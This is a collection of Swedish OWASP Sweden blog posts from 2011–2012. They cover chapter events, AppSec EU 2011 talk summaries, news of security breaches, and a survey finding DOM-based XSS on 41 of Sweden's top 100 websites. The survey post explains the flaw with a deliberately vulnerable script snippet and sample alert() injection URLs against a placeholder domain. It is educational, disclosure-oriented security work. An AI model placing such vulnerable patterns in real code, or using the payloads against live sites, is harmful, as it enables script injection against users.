OWASP Sweden

CommunityHack i Göteborg

2012-01-30T20:01:00.002+01:00

Den 18 februari öppnar OWASP Göteborg dörrarna till vårt första community hack! Där ges möjlighet att hacka på de där hobbyprojekten som man aldrig tar sig tid för annars samt trevligt umgänge med likasinnade. Vi kommer att befinna oss på Chalmers från klockan 09.00 och håller på en bit in på kvällen. Under dagen så bjuder vår sponsor Omegapoint på pizza och läsk för att vi ska hålla energin uppe. Vår förhoppning är även att kunna bjuda på en enklare frukost samt lite tilltugg.

Anmälan sker genom Eventbrite och för mer information samt förslag på vad man kan hitta på under dagen så rekommenderas ett besök på eventets wiki. Vi har plats för max 40 besökare, och som vanligt är det först till kvarn som gäller. För frågor så går det bra att höra av sig direkt till mig!

Förresten, ni har väl inte missat Patrik Corneliussons blogginlägg om de många DOM-baserade XSS-sårbarheter som han hittade vid en analys av Sveriges 100 bästa sajter, utsedda av IDG?

Med vänliga hälsningar,

Erik Brännström (@erikbrannstrom)

OWASP Göteborg

DOM-XSS genomgång av Sveriges bästa sajter

2012-01-24T19:16:00.000+01:00

Då och då kommer det verktyg som underlättar säkerhetsarbetet genom att göra säkerhetsanalys enkel och tillgänglig för många användare.

DOMinator är ett sådant verktyg och det höll Stefano Di Paola ett föredrag om på ett av OWASP Göteborgs seminarium.

DOMinator är ett program som automatiskt identifierar DOM-XSS-sårbarheter i webbapplikationer. Programmet är ett plugin till firebug i firefox och finns att ladda ner här http://code.google.com/p/dominator/downloads/list

Stefano gick genom hur han har byggt sitt program och hur man använder det. Han berättade att han behövde identifiera Sources och Sinks, där Sources är möjliga vägar att skicka in data till en applikation, exempelvis via adressfältet, cookie eller referrer. Sinks är det område i programkoden där en viss sårbarhet kan utnyttjas baserat på användarinmatad data, exempelvis kod som eval(), window.location.

Läs mer om sinks och sources på dessa länkar.
http://code.google.com/p/domxsswiki/wiki/Sinks
http://code.google.com/p/domxsswiki/wiki/Sources

Läs mer om hur DOMinator är uppbyggt i nedanstående PDF
http://dominator.googlecode.com/files/DOMinator_Control_Flow.pdf

IDG Topp 100

Samtidigt som jag provade DOMinator släppte internetworld sin årliga topplista med de 100 bästa sajterna i Sverige. Hela listan hittar du på IDG:s sajt http://internetworld.idg.se/topp100

Eftersom de är Sveriges bästa sajter så handlar det i stor utsträckning om framgångsrika och välbesökta sajter. Miriam Olsson Jeffery beskriver sajterna som är med på detta sätt

“Alla sajter på Internetworlds Topp100-lista är vinnare. De har valts ut bland hundratals andra och visar vägen för den svenska webbens utveckling. Det låter klyschigt, men så är det.”
http://internetworld.idg.se/2.1006/1.413218

Det väckte min nyfikenhet
Hur många av sajterna på IDGs topp 100-lista är sårbara för DOM-XSS?
Stefano hade testat de största sajterna på alexa. Resultatet från Stefanos undersökning hittar du här http://blog.mindedsecurity.com/2011/05/dominator-project.html

Om de visar vägen för svenska webbens utveckling så kanske det kan ge en fingervisning om hur framtiden för andra publika sajter ser ut, inom webbapplikationssäkerhet.

DOM-XSS

Innan jag fortsätter berätta om min analys av sajterna vill jag beskriva hur en DOM-XSS attack kan gå till.

XSS (Cross Site Scripting) finns i fler former, persistent XSS och ickepersistent XSS. Persistent XSS handlar om att säkerhetsproblemet är lagrat på servern, exempelvis i en databas. Om vi tänker oss ett blogginlägg så körs XSS-attacken varje gång någon visar det aktuella blogginlägget. Ickepersistent XSS handlar om sådant som inte lagras på servern men där servern tar emot det inmatade värdet och skriver ut det igen på sidan utan att det hanteras och därmed öppnar för attacker, ofta genom querystrings.

DOM-XSS, eller DOMbaserad XSS handlar om värden som javascript läser och använder igen på sidan, utan att servern nödvändigtvis behöver vara inblandad. Detta gör att det är väldigt svårt för systemadministratörer att upptäcka attacker mot sajten eftersom attacken kan göras utan att någon data som verkar farlig skickas till servern. Det gör att de säkerhetsverktyg (brandväggar, IDS och IPS) man möjligen har för att stoppa attacker blir verkningslösa.

Som exempel kan vi ta en sida med ett sökformulär. Sökningen sker via ajax, men för att kunna bokmärka eller skicka en sida med sökresultat till vänner så används hash-delen i url:en för att veta vilket sökresultat som skall hämtas. Föreställ dig att en sajt har följande url:
http://www.domain.com/search.aspx#search

Sedan lite kod för att skriva ut det man sökte på
<script>
document.write("Du sökte på "+document.location.hash);
</script>

Skickar vi då istället in
http://www.domain.com/search.aspx#<script>alert(/dom-xss/)</script>
så kommer en alertruta att visas i webbläsaren.

Det som skickas till servern är dock endast http://www.domain.com/search.aspx och alltså inte det som står efter hash-tecknet.

Analys

Jag utgick från IDGs topplista och bestämde mig för att utföra några enkla test på varje sajt. Jag analyserade ungefär 2-3 sidor per sajt. Detta kan givetvis innebära att fler sajter än vad jag hittade har säkerhetsproblem, eftersom säkerhetsproblem kan finnas på de sidor som jag inte analyserade. När jag hittat minst ett säkerhetsproblem gick jag vidare till nästa sajt. Många gånger fanns det flera säkerhetsproblem, men jag valde att koncentrera mig på DOM-XSS.

DOMinator har två sätt att varna. Dels genom alerts och dels genom warnings. I min analys har jag inte hittat någon sajt där DOMinator varnat med en alert som har varit en falsk positiv. Det är fullt möjligt att varningar på warnings-nivån också går att utnyttja, men jag har valt att endast fokusera på de sajter med alerts. För att säkerställa att DOMinator inte varnade falskt valde jag att manuellt validera 20 % av de sajter som var sårbara enligt DOMinator.

Den manuella valideringen underlättades av att DOMinator pekade på var i koden problemet var. Som exempel kan jag ta upp en sajt som hade en sårbarhet via källan location, mer specifikt querystring och att detta sedan skrevs ut på sidan.

När jag provade att escape:a strängen med enkel- och dubbelfnuttar så lyckades det inte.
Det visade sig att sajten hade en replace på dubbelfnuttar, men att den inte var global.
Såhär såg varningen i DOMinator ut

134 9:5:43.855 :[ http://www.domain.com/?#parameter=a%22 ]
Target: [ replace(",\")No global CallCount: 1 ]
Data:
a"

Om jag skrev två dubbelfnuttar så kunde hålet utnyttjas, exempelvis

http://www.domain.com/?#parameter=a""%2balert(1)%2b"

Det är inte alla webbläsare som tillåter användning av icke-enkodade specialtecken. På nedanstående länk finns en genomgång av webbläsare och vilka tecken som tillåts för exempelvis location-källan. Där kan man läsa att IE är den enda webbläsaren som tillåter icke-enkodade dubbelfnuttar för querystrings i searchdelen av en url. Om man däremot anger querystrings i hash-delen av url:en så är det tillåtet av både IE, Chrome och Opera. I mitt exempel angav jag parametern i hash-delen och därför kunde hålet utnyttjas via tre stora webbläsare.
http://code.google.com/p/domxsswiki/wiki/LocationSources

Sammanfattning av analys

När jag hade analyserat samtliga 100 sajter visade det sig att 41 av dessa var sårbara för DOM-XSS. Jag anser att 41 % är en oroväckande hög siffra för sajter som skall ligga i framkant. Resultatet visar att företagen ännu inte har säkerhetsarbete - på en tillräckligt hög nivå - som en del i utvecklingsarbetet.

Jag kontaktade samtliga företag och beskrev säkerhetsproblemen. Jag fick god respons och många åtgärdade problemen inom några dagar. Testerna utfördes mellan den 10-17 november 2011 vilket gör att när detta publiceras så har företagen haft mer än två månader på sig att åtgärda eventuella brister.

Hur du skyddar dig mot DOM-XSS

Läs mer om vad DOM-XXS är här https://www.owasp.org/index.php/DOM_Based_XSS

OWASP har ett cheat sheet som går igenom hur man skyddar sig mot DOM-XSS https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet

Inlägget är skrivet av Patrik Corneliusson, boardmedlem OWASP Göteborg

Om OWASP

OWASP Göteborg (Open Web Application Security Project) är en ideell global organisation som fokuserar på att hjälpa mjukvaruutvecklare skriva säker programkod. OWASP har lokalavdelningar i fler än 80 länder världen över. Drivkraften är att fler utvecklare skall bli bättre på att skriva säkra applikationer.

Stefano och Martin till Göteborg den 3/11

2011-10-24T13:32:00.006+02:00

Hej bloggen!

Jag heter Mattias Jidhage (@mjidhage) och är en av tre co-leaders för OWASP Göteborg. Det är första gången jag förkunnar sanningar i detta forum men sannolikt inte den sista. Jag har dock inga planer på att bli långrandig just idag då jag har viktig information att förtälja:

Den 3:e november kör OWASP Göteborg sitt andra seminarie genom tiderna och vi ser denna gång med tillförsikt fram emot besök ifrån tvenne storheter;

Martin Holst Swende (@mhswende) är aktuell efter att på årets DEFCON ha presenterat hur man kan analysera webappar med OWASP Hatkit. På plats i Göteborg kommer Martin köra en variant av DEFCON-dragningen med lite mer demo-fokus än tidigare.

Martin arbetar främst med säkerhetstestning av både applikationer och webappar men även forensik och källkodsanalys. På sin fritid är han projektledare för både OWASP Hatkit och OWASP Hatkit Datafiddler.

Stefano Di Paula (@WisecWisec) skaparen av DOMinator - verktyget som gör det möjligt att på ett väsentligt enklare sätt än förut hitta DOM-baserad XSS.

Stefano är fd frilansande säkerhetskonsult som grundade en egen firma och nu fokuserar mycket på forskning inom säkerhet. Dels genom sin roll som forskningsansvarig i egna företaget, dels genom sin liknande roll i OWASP Italien. Stefano bidrar även till innehållet i OWASP Testing guide som just nu håller på att tas fram i en fjärde version.
Allt talar för en mycket intressant kväll och som vanligt kör vi lite lättare förtäring omedelbart före presentationerna samt tillser att alla förutsättningar finns för en trevlig diskussion efter presentationerna.

Agendan i detalj finner du på samma ställe som du bokar din plats - välkommen!

Mötet kommer att genomföras på Engelska

Summering AppSec EU 2011

2011-06-11T17:37:00.004+02:00

Sitter då till slut på planet på väg hem från AppSecEU 2011 och det har blivit dags att summera och känna efter hur vindarna blåste under konferensen.

Jag tyckte mig se två huvuddrag som återkom under flera presentationer.

Det ena har fallit ut från att vi nu kan läsa om allt fler angrepp i mainstream media. Det är angrepp av två typer;
1. Angrepp som drabbar stora kommersiella aktörer som förmodligen ligger alldeles för lågt i sin säkerhetsnivå, och som nu råkar ut för skador som kostar dem flera hundra miljoner kronor eller till och med miljarder. Detta har gett upphov till att de "högre lagren" i allt fler storbolag nu börjat skruva på sig. Det är en risk de tidigare inte tänkt på, men som de nu inser att den kan kosta stora belopp om den inte hanteras.
2. Riktade angrepp mot särskilt känsliga mål. De som drabbats av detta tvingas i ökande grad in i insikten att säkerhetsmedvetandet måste vara högt inom hela organisationen, med ansträngningar som riktar sig utöver traditionella skydd så som brandvägg, IDS, antivirus och även det nyare "patcha". Incidenthantering, anomalidetektering och pålitliga, fingranulära mätpunkter är ledstjärnor.

Det andra som jag återkommande sett är ett mognadssteg i HUR vi ska uppnå en högre säkerhetsnivå. Det var ett ämne jag var inne på i en debattartikel redan efter AppSecEU 2009: till stor del har vi det tekniska kunnandet, men vi saknar det övriga runtikring. Vi behöver satsa mycket mer på att sälja och marknadsföra oss mot beslutsfattare och utvecklingsorganisationer som ännu inte "sett ljuset". Vi är i stort behov av metrics och andra enkla sätt att kommunicera till företagsledningen varför IT-risker behöver hanteras. Kommunikationen måste kretsa kring affärsrisk, inte teknisk sårbarhet X. Passande nog var just det här ämnet mycket närvarande både i keynoten som inledde konferensen, och i keynoten som avslutade konferensen.

Sammanfattningsvis tycker jag det har varit kul och givande med ännu en AppSec EU. Nästa år kommer AppSec EU hållas i Aten, under namnet AppSec Research 2012. Tack vare initiativet från vår egen pionjär John Wilander kommer nämligen varannan AppSec EU vara en AppSec Research där den akademiska världen särskilt bjuds in. AppSec Research 2012 går av stapeln den 9-13 juli. Tills dess får vi hålla tillgodo med våra lokala OWASP-kvällar, och kanske ses vi även på SEC-T i höst?

Keynote 5: Six Key Application Security Program Metrics

2011-06-11T17:30:00.003+02:00

Keynote 5 skulle ursprungligen hållas av Ivan Ristic, men han hade tappat rösten så istället flyttades Arian Evans presentation om "Six Key Application Security Program Metrics" till att bli en sista keynote. Väldigt lyckat då Arian visade sig vara duktig på att underhålla samt hade en relevant och intressant presentation som alla deltagare säkerligen hade nytta av.

Grunden lades med lite statistik om att applikationer fortfarande används i många intrång och är orsak till en klar majoritet av stulna kortnummer och personuppgifter. Han gick sedan in på hotbilder och konstaterade att vi vet väl vilka som angriper vad, varför och hur. Vi har också tack vare OWASP en bra kunskapsnivå om hur man skriver säker kod och vilka sårbarheter som finns. Men...

Efter 10 år med OWASP (woo!) så har vi fortfarande inte svaren på några väldigt viktiga frågor. Var är...

Metrics-projektet?
Developer outreach projektet (not: det var betydligt fler utvecklare på konferensen det här året än förra)
C-Level blueprints för att implementera appsec?
Budgetargumenten?

Arian presenterade också siffror från WhiteHat på hur många nya sårbarheter per år som introduceras i applikationer och vilka sektorer som är de värsta skurkarna. Siffrorna var klart oväntade för mig; i snitt så introduceras 230 nya sårbarheter per år och applikation, där retail (400+) och finans (266) ligger i topp. Snittiden för att åtgärda sårbarheterna ligger på 60 dagar, och vi förstår ju alla vad det här betyder i form av sårbarhet och utnyttjande...

Ytterligare en intressant slutsats som Arian drog från det var dock att den genomsnittliga kunskapsnivån är på väg neråt. Inte för att vi som är inne på området blir dummare eller omsprungna av ny teknik, utan för att området växer så starkt att det inte finns tillräckligt antal kompetenta personer för att fylla behovet.

Mycket mer blev sagt under presentation än vad som får plats i det här redan långa blogginlägget. Så sammanfattningsvis, vilka var de sex metrics som presentationen "egentligen" skulle handla om?

Data Quality Bucket

Exposure (Discoverability)
Threat (Exploitability)
Risk (Impact severity)

Program Quality Bucket

Pulse (Vulnerability~Input, vulnerability per input)
Frequency (Window of exposure) (< 20 dagar sällan intrång, > 200 dagar får oftast intrång)
Cost & Savings (remediation cost)

.. ja, kanske inga silverkulor, men som Arian sa är det en startpunkt. Jag är själv fullt övertygad om att vi absolut måste skaffa fram metrics för att kunna nå fram till ledningsnivån. Finfint att fler driver den utvecklingen framåt!

Software Security: Is OK Good Enough?

2011-06-10T12:20:00.005+02:00

Titeln på presentation till trots så handlade presentation mer om svårigheterna med att få in säkerhet i organisationer. Genom att titta på ett par tidigare problem (jordbävningar, matförgiftning från restauranger) drogs lärdomar om varför det fungerat att implementera åtgärder mot dem, när det inte gått så bra för informationssäkerhet.

Tre saker behöver finnas för att det ska kunna skapas allmänt spridda åtgärder:

Delad förståelse
Compliance/policyskapande
Något som tvingar efterlevnad

En CEO idag har i allmänhet inte IT-risker på listan över de topp 10 risker. John kopplade det till att fjärran, abstrakta risker är något som är svårt att sälja in och då görs det inget åt dem. Det kan lätt förklaras av att man då inte har en delad förståelse.

John trodde inte heller på att industrin själv kunde ordna sådana här risker, utan att det behöver lagstöd för att förändringen verkligen ska gå igenom. Men han gav också förslag på vad han ansåg behövde hända för att vi skulle komma framåt:

Det behövs fler "in your face"-grejer: exempelvis TJX-intrånget hamnade på Wall Street Journals förstasida, där väldigt många CEOs fick läsa om det och begrunda att ohanterade IT-risker kan stå dyrt. Den senaste tidens Sony-intrång hamnar också i den här kategorin.
Fler skrämmande "mainstream"-historier som utbildar. (tänk: Män som hatar kvinnor)
Smartare konsumenter (men det saknas säkerhetsratings som kan underlätta)

Han ansåg också att vi inom vårt eget skrå kan göra ett par saker,

Det absolut viktigaste är att lära oss sälja och marknadsföra bättre. Vi har inga möjligheter att tvinga fram förändring.
Bättre utvecklare med bättre verktyg.

Egen reflektion: mycket inom det här området handlar om politisk grundsyn - kan marknaden som vi har idag själv hantera IT-risker? Hur fungerar det då med externaliteter? Hur mycket behöver vi förändra i de ekonomiska systemen? Hur mycket behöver vi faktiskt lagstifta? Frågor som är väldigt svåra att svara på men som är otroligt viktiga för vårt samhälles framtid.

OWASP AppSensor Project

2011-06-09T23:40:00.004+02:00

Colin Watson körde dagens sista presentation på ett projekt som intresserat mig ett tag, nämligen OWASP AppSensor Project. Projektet är för närvarande till största delen tips på ett antal punkter där man i applikationen kan bygga in sensorer på intrång/intrångsförsök, och vilka reaktioner man kan ge på det.

AppSensor har förslag på över 50 detektionspunkter inuti applikationen, och förslag på över dussinet svar då ett angrepp tros ha upptäckts. Det hela ska jämföras med mer traditionella försvar så som brandvägg, IDS, WAF m.m. som inte har någon kunskap om själva applikationslogiken (hittar inte angrepp), och som har relativt få svar vid ett misstänkt intrång ("larma/inte larma" eller "blocka/inte blocka").

Två centrala frågor bakom AppSensor lyder "Är applikationen under attack nu?" och "Har några okända sårbarheter blivit utnyttjade idag?". Ifall de tre svarsalternativen som ges är "Ja", "Nej" och "Jag vet inte" så syftar AppSensor till att stryka det tredje alterantivet och ge klarhet på hur ofta attacker sker. Framförallt är AppSensor aktuellt om applikationen har mycket motiverade angripare, så det anknöt väl till förmiddagens presentation om APT. Men även om så inte är fallet, kan det vara mycket intressant att bara implementera loggning vid indatavalidering för att få lite mätpunkter på hur många attacker som riktas mot applikationen.

AppSensor utgår från fem olika steg:

Upptäckande av händelse
Analys
Avgörande om ett angrepp pågår
Val av svarsmetod
Exekvering av svaret

Syftet är att upptäcka "elaka" händelser och agera på dem utan att för den sakens skull råka utsätta användare som gör oväntade saker för negativa konsekvenser.

För stunden är AppSensor till stor del på ett idéstadie, där man själv får stå för implementationen. Det finns viss förvisso kod inlagd i ESAPI, men än så länge läggs alltså mycket av implementering på de enskilda applikationerna som väljer att använda sig av informationen i AppSensor Project. Det som kan komma framöver är exempelvis en dashboard som det visades ett demo på idag. Via en ordentlig dashboard skulle information bli lättillgänglig även för ledningen, som då skulle få en mycket större insikt i de faktiska angreppsförsök som nästan alla applikationer på Internet råkar ut för. Och i det ligger naturligtvis mycket pedagogiskt värde.

Det ska bli riktigt intressant att se hur det här projektet utvecklar sig de kommande åren. Om jag får spekulera är det här något som vi kommer få se mycket mer av i särskilt säkerhetskritiska applikationer.

Integrating security testing into a SDLC: what we learned and have the scars to prove it

2011-06-09T16:51:00.007+02:00

Mark Crosbie från IBM höll en underhållande presentation om några utmaningar IBM stött på under sina ansträngningar att få sina produkter säkrare:

Metrics for Management
Shift security left
Security defect database
That's not my job
Make it fun
Make it easy
Settling differences

Några av nyckelgrejerna jag tog med mig från det hela:

Två magnituder mindre säkerhersbrister genom att ge utvecklarna verktygen och berätta vad han kommer göra vid slutet av utvecklingen. Det vill säga ge utvecklare möjligheten att göra samma sak och fixa sårbarheter innan de når så långt och innan utvecklare "får skit" för att de skrivit sårbar kod.
Ge stöd åt de utvecklare som visar framfötterna kommer öka effekten av anstränningarna flerfalt. De blir vänner på insidan och hjälper stort.
Använd CVSS för att ge siffror åt sårbarheter. Diskussionen blir då "varför skulle 8.3 vara ett felaktigt värde för den här sårbarheten" som ger andra svar än det tidigare vanligaste svaret "men ingen kommer ju exploita det där, det behöver vi inte fixa".

Ett par andra trevliga tips under "make-it-fun" kategorin var att köra luncha-och-lär, och interna capture-the-flags/hacking tävlingar. Tävlingarna hade gett mycket större effekt än väntat.

På det hela taget en presentation som uppfyllde mina höga förväntningar. Alla tillfällen att lyssna på personer som har erfarenhet från att pusha ut säker utveckling i stora bolag är bra tillfällen. Teorier i all ära, men i verkligheten måste man vara praktisk och använda sig av det som fungerar bäst i just bolaget man är med de människor och processer som finns där. Därför avslutar jag den här posten med ett citat från Mark:

"It's all about small wins in a big war."

Keynote 2: Giles Hogben, ENISA om Smartphones

2011-06-09T15:29:00.003+02:00

ENISA har arbetat med risker för smartphones. De har skapat en rapport med en top 10 lista och bedömer riskerna utifrån tre typanvändares perspektiv: konsumenten, den anställde och den högt uppsatte ledaren.

Top 3 av de top 10:

Tappad smartphone leder till dataläckage. Siffror från storbrittaniens myndigheter: 2% av alla enheter 2008 borttappade
Data som delas utan vetskap och avsikt. Inom telefonen kan det ske genom delade resurser (adressbok, tangentbordscache); externt genom exempelvis geo-taggning av bilder.
Telefoner som ges bort eller slängs. I en studie köptes 26 telefoner online. Två av dessa innehöll pinsamma detaljer där ägaren också kunde identifieras. På sju telefoner kunde arbetsgivaren identifieras.

Det finns också några möjligheter att skydda data: sandboxing, kontrollerad mjukvarudistribution, backup och återställning, tvåfaktorsauth, extra krypteringsmöjligheter. ENISA har dessutom tagit fram rekommendationer som i princip kan användas som färdiga policies för hur top 10 riskerna ska bemötas. Helt klart något för alla säkerhetsmedvetna organisationer att kika på!

På utvecklingssidan finns numera inom OWASP finns numera "Mobile Security Project" som är en samlingspunkt för flera Bra Saker, inklusive riktlinjer för att utveckla säkra applikationer till mobiler.

Även marknadsplatser och risker + skydd kring dem behandlades. Fem försvar (kill switch, ta bort mjukvara, rykte, kontrollera mjukvaran innan den läggs upp, identifikation av utvecklarna) används för att bemöta t.ex. appar som surfar på andra appars eller andra märkes namn. Något som nära relaterat till en artikel i DN häromveckan.

Generellt konstaterar jag själv att smartphones har slagit igenom väldigt snabbt tack vare värdefull funktionalitet. Det är otroligt viktigt att det finns aktörer som ENISA Som hjälper till att få fram ett säkert användande av dem, något som vi i dagsläget ligger klart efter med och vars betydelse säkerligen kommer växa de närmsta åren.

APT in a Nutshell

2011-06-09T12:35:00.003+02:00

David Stubley från 7 Elements höll sin presentation om uttrycket Advanced Persistent Threat (APT).

Vad Advanced Persistent Threat (APT) handlar om är angripare med mycket hög kapacitet och intention att angripa. Sättet de angriper på är inte så viktigt, så de kommer förmodligen ta det enklast möjliga. Principiellt kan man säga att det handlar om statssponsrade aktiviteter. Eftersom begreppet har fått mycket uppmärksamhet i media har det dock kapats av produkttillverkare som vill pusha sina lösningar, men enligt David så kommer inga produkter vara någon silverkula och allt som kommer från tillverkarna är bullshit.

Ämnet ligger då förstås extremt nära cyberkrig. Ser man bakåt i tiden på hur media rapporterat om ämnet innan det hade namnet APT så kan rapportering hittas från år 2000 och framåt. Ofta är det Kina som pekats ut som angriparna, men på senare tid har även fler västnationer så som USA och Frankrike pekats ut i media. Man kan också konstatera att då tiden rört sig framåt har fler än de uppenbara målen blivit måltavlor. Fram tills alldeles nyligen var det enbart direkt statliga aktörer som drabbades, men nu har också privata näringslivet börjat drabbas, så som Google och RSA.

Hur vet man då om det här är något man behöver bry sig om? Den enkla frågan är: gör du något som en statlig aktör är intresserad av?

Och är man ett mål för det, vad kan man göra? David menar att allt behöver styras av en förståelse för affärsmål och vilken riskmiljö man befinner sig i. Han pushar för incidenthantering, anomalidetektion och det lite mindre väntade: att hantera all data som känslig data. En metod som används av dessa angripare är nämligen att data samlas ihop och tolkas, och genom den mängden av data kommer de ofta vidare.

Han slår också ett slag mot att APT nödvändigtvis involverar 0-day angrepp. Så behöver naturligtvis inte vara fallet, utan det är beroende på vilket målet är och vad som krävs för att komma in där.

På det hela taget så anser jag att begrepp som APT bara kan tillföra medvetenhet till de organisationer och personer som ännu inte uppmärksammat den utökade attackytan som cybervärlden innebär. För att försvara sig kommer man ändå landa på "traditionella" sätt att upptäcka och hantera intrång, och det behöver precis som alltid vara dimensionerat enligt vilka hot som finns för verksamheten. För en del verksamheter är hotet väldigt stort och då behöver även skyddet vara det. Så är det, och kommer alltid vara.

AppSec EU 2011: Keynote från Brad Arkin på Adobe

2011-06-09T11:41:00.005+02:00

Hej,

Vi är ett fåtal svenskar som sitter här på AppSec EU, och jag (Carl-Johan Bostorp) är en av dem tack vare min arbetsgivare Cybercom. Jag kommer blogga från konferens med sammanfattningar från de presentationer jag går på.

Först ut var en keynote från Brad Arkin på Adobe. Min första tanke när jag såg det var om Adobe som har så många säkerhetsproblem verkligen har något att lära ut, men Brads keynote var faktiskt mycket intressant.

Adobe utgår från affärsmålet att de vill att deras kunder ska vara nöjda över säkerheten i Adobes produkter. För att komma dit har Adobe antagit en strategi med tre mål vad gäller säkerhet:

Håll kunderna uppdaterade. Ifall en patch inte når ut till alla maskiner spelar det ingen roll att en patch har utvecklats. En förkrossande majoritet av de datorer som exploitas sker med gamla kända hål där en patch finns ute, inte 0-day.
Säker kod.
Kontakt med omvärlden. Svara bra på rapporter.

Återigen har vi också fått höra om vikten av stöd från organisationstoppen för att det ska gå att nå ut med säkerhet i organisationen. Brad har ett stående möte med CEO en gång i månaden, och varje gång styrelsen har möte finns en slide med om säkerhet. Det är mycket jobb att nå ut till hela organisationen, och stöter man på några problem med det så kommer det lösa sig ifall stödet kommer från tillräckligt hög ort.

Det är även konstaterat ännu en gång att säkerhet måste ut i organisationen. Det är de som verkligen producerar som behöver ha kunnande och känna sig engagerade för att det ska ge resultat. Och utifrån det var det inte så förvånande att Brad spenderade en stor del av tiden att prata om hur Adobes utbildningsprogram såg ut. Det fanns en klar betoning i att utbildningen skulle vara positivt betonad och utbildningen är INTE obligatorisk. IStället har fokus legat på att skapa positiva fördelar för de som går utbildningarna - som för övtigt inte är i klassrum utan istället är uppdelade i moduler som finns tillgängliga via intranätet.

En särskilt intressant sak tyckte jag var att man på Adobe kan uppnå olika nivåer efter att man antingen utbildat sig eller för de högre nivåerna - engagerat sig i projekt och åstadkommit något över en längre period. De tidigare nivåerna var relativt lätta att uppnå, men de högre krävde en signifikant investering för att nå. Dessa nivåer syntes dessutom på individernas profiler på intranätet/det sociala nätverket.

På det hela var det en intressant keynote med mycket matnyttigt. Ska man implementera säker utveckling i en stor organisation är det högst rekommenderat att se den inspelade presentationen.

Välkomnar tre nya skribenter

2011-06-07T23:15:00.000+02:00

Idag välkomnar vi tre nya skribenter här på OWASP Sweden-bloggen. Nämligen OWASP Gothenburgs tre co-leaders Jonas Magazinius, Mattias Jidhage och Ulf Larson. De får presentera sig själva i takt med att de vill skriva något. Alla tre trevliga och kompetenta, det är det enda jag kommer säga.

Twitter tar över ... och Gbg startar!

2011-06-04T00:15:00.005+02:00

Det var länge sedan jag skrev något på den här bloggen och skrivtakten har gått ned ett bra tag nu. Tro mig, det har malt i mitt huvud. Men jag är en person som tror på utveckling och det är bara att konstatera att Twitter totalt har tagit över nyhetsflödet inom appsäk. För ett år sedan skrev jag om det här och sedan dess har det gått fort.

Börja med Twitter om du inte redan gjort det
2679 tweets från mitt håll hittills. På intet sätt ett rekord men ändock ett bevis på att bloggandet har ersatts av twittrande, särskilt för min egen del. Bloggar har blivit en plats för egenproducerat material, inte nyheter.

Twitter är ett oslagbart flöde av lästips, intressanta tankar och lajvdiskussioner om exempelvis hacken mot Sony, RSA och Comodo eller om vilka som börjat använda content security policy och hur det gått. Över tid så mejslar du fram exakt den mix du vill ha. Kanske 60% appsäk, 30% fotboll, 5% politik och 5% surdegsbak?

För att komma igång så kommer här mina tio tips på bra konton att följa inom appsäk, främst webb:

OWASP Sweden-bloggen kommer förstås finnas kvar. Nyheter om OWASP i Sverige kommer fortsätta att annonseras här och kanske kommer en ny våg av appsäk-nyheter på svenska.

OWASP Gothenburg på gång
Efter en lyckad seminariekväll i Göteborg i april så har de formerat sig och kommer inom kort ha officiell status som chapter. Det betyder att OWASP Sweden kommer bestå av två chapter – OWASP Gothenburg och OWASP Stockholm. Planen är att behålla mejlinglistan som den är och att Göteborgsledarna också går in som moderatorer. Samma sak här på bloggen. Så vem vet, kanske är det västkusten som kommer blogga loss här 2011?

Hur som helst vill jag önska göteborgarna lycka till! De lär höra av sig, inte minst på mejlinglistan.

Psst ... Musiken finns nu
Jag har ju nämnt mitt musikprojekt några gånger. Tro det eller ej, nu finns tolv låtar att lyssna på och anonymt betygsätta. Bara att klicka sig in på www.johnwilander.com.

Vi ses på Twitter!

/John (@johnwilander)

USA/NIST släpper 59.000 sårbara kodexempel i Java och C/C++

2011-03-30T21:49:00.001+02:00

Jeff Williams, ordförande i OWASP har lyckats övertyga mydigheter i USA att tillgängliggöra de sårbara kodexempel de använder för att utvärdera analys- och skanningsverktyg.

13.782 testfall i Java som täcker 106 CWE:er
45.309 testfall i C/C++ som täcker 116 CWE:er

Kodexemplen hittar ni här.

Intervju om Firefox 4 och webbläsarsäkerhet

2011-03-26T01:17:00.001+01:00

Chaouki Bekrar, VD och forskningschef för Vupen, och jag intervjuades av SecurityVibes gällande nya säkerhetsfeatures i Firefox 4 och hur Firefox står sig säkerhetsmässigt jämfört med andra webbläsare. Intervjun finns här.

Allt går att hacka (RSA, Comodo, TripAdvisor)

2011-03-24T16:33:00.000+01:00

De senaste två veckorna har varit bedrövliga ur säkerhetssynpunkt.

RSA
Först var det RSA-hacket som Schneier kommenterade med att "Security is all about trust, and when trust is lost there is no security. User's of SecurID trusted RSA Data Security, Inc. to protect the secrets necessary to secure that system. To the extent they did not, the company has lost its customers' trust."

RSA själva har mest ägnat sig åt allmänna råd och vaga uttalanden. Därtill definierar de attacken med "... the attack is in the category of an Advanced Persistent Threat (APT)."

Comodo
Sen var det Comodo, en av våra betrodda CAs för SSL-certifikat som blev hackade. Jacob Applebaum upptäckte det genom svartlistade cert i en Chromium-uppdatering och förövarna hade skapat fullt legitima cert för:

login.live.com
mail.google.com
www.google.com
login.yahoo.com (3 certifikat)
login.skype.com
addons.mozilla.org
"Global Trustee"

Media och en del säkerhetsfolk har benämnt dessa certifikat som fejkade. Det är inga fejkade certifikat. Det är fullt korrekta certifikat signerade av en betrodd CA. Enligt Comodo själva finns tecken på att attacken kom från Iran: "The IP address of the initial attack was recorded and has been determined to be assigned to an ISP in Iran".

Comodo kommenterar attacken med "The perpetrator has executed its attacks with clinical accuracy."

TripAdvisor
Nu senast var det TripAdvisor som drabbats av intrång och i ett mejl till alla användare så berättar de lite grann.

Slutsatser
Dessa hack får mig att tänka på två saker:

1) Allt går att hacka. Särskilt om det är kopplat till Internet. När ska vi våga prata om det offentligt? Hur länge håller argumentet att "vanligt folk fattar inte, låt oss inte skrämma upp dem"?

2) Vi lever fortfarande i en tid då mörkläggning och dimridåer anses vara rimliga alternativ när ett intrång har skett. Därtill har man nu lagt möjligheten att säga att intrånget var så pass avancerat att man inte kunde skydda sig. Undrar hur länge vi kommer acceptera sådana förklaringar utan bevis?

Material från Mario Heiderichs föredrag

2011-03-09T00:17:00.001+01:00

Mario Heiderich gav två väldigt uppskattade föredrag på OWASP Sweden-kvällen 7/3:

The Image That Called Me (pdf) – om SVG-säkerhet
Locking the Throneroom (pdf) – om att låsa ner DOM:en för att motverka XSS-attacker

Han använde också ett trevligt litet markupverktyg för att dema olika XSS-brister i webbläsare. Det är bara två textfält – i det övre matar du in din markup och i det nedre visas hur webbläsaren tolkar det, dvs det som faktiskt kommer att renderas.

Verktyget är nedanstående HTML. Bara att spara i en lokal fil och köra.

<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=utf-8" />
</head>
<body>
